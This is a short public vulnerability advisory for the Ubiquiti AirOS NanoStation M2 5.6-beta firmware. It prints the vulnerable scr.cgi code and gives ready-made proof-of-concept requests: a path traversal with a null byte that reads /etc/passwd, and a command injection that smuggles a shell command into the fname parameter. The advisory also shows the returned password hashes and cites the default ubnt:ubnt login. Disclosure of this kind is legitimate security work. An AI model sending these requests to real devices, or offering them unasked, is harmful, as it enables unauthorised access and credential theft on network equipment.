AirOS NanoStation M2 5.6-beta - Multiple Vulnerabilities
2016-05-31 21:05:16# AirOS NanoStation M2 v5.6-beta
# Arbitrary File Download & Remote Command Execution
# Tested on: XM.v5.6-beta5.24359.141008.1753 - Build: 2435
# Linux Awesome 2.6.32.63 #1 Wed Oct 8 17:54:30 EEST 2014 mips unknown
#
# Date: May 30, 2016
# Informer: Pablo Rebolini - <rebolini.pablo[x]gmail.com>
# Valid credentials are required !.
# Most of devices run default factory user/passwd combination (ubnt:ubnt)
# Take a look at /usr/www/scr.cgi
<?
include("lib/settings.inc");
include("lib/system.inc");
$filename = $fname + ".sh";
$file = $fname + $status;
header("Content-Type: application/force-download");
header("Content-Disposition: attachment; filename=" + $filename);
passthru("cat /tmp/persistent/$file");
exit;
# Arbitrary File Download
# Poc:
GET http://x.x.x.x/scr.cgi?fname=../../../../../etc/passwd%00&status=
Raw Response: dWJudDpWdnB2Q3doY2NGdjZROjA6MDpBZG1pbmlzdHJhdG9yOi9ldGMvcGVyc2lzdGVudDovYmluL3NoCm1jdXNlcjohVnZERThDMkVCMTowOjA6Oi9ldGMvcGVyc2lzdGVudC9tY3VzZXI6L2Jpbi9zaAo=
Base64 Decoded: ubnt:VvpvCwhccFv6Q:0:0:Administrator:/etc/persistent:/bin/sh
mcuser:!VvDE8C2EB1:0:0::/etc/persistent/mcuser:/bin/sh
# Remote Command Execution:
# Poc:
GET http://x.x.x.x/scr.cgi?fname=rc.poststart.sh;cat%20/etc/hosts%00&status=
Raw Response: MTI3LjAuMC4xCWxvY2FsaG9zdC5sb2NhbGRvbWFpbglsb2NhbGhvc3QK
Base64 Decoded: 127.0.0.1 localhost.localdomain localhost
Fixes
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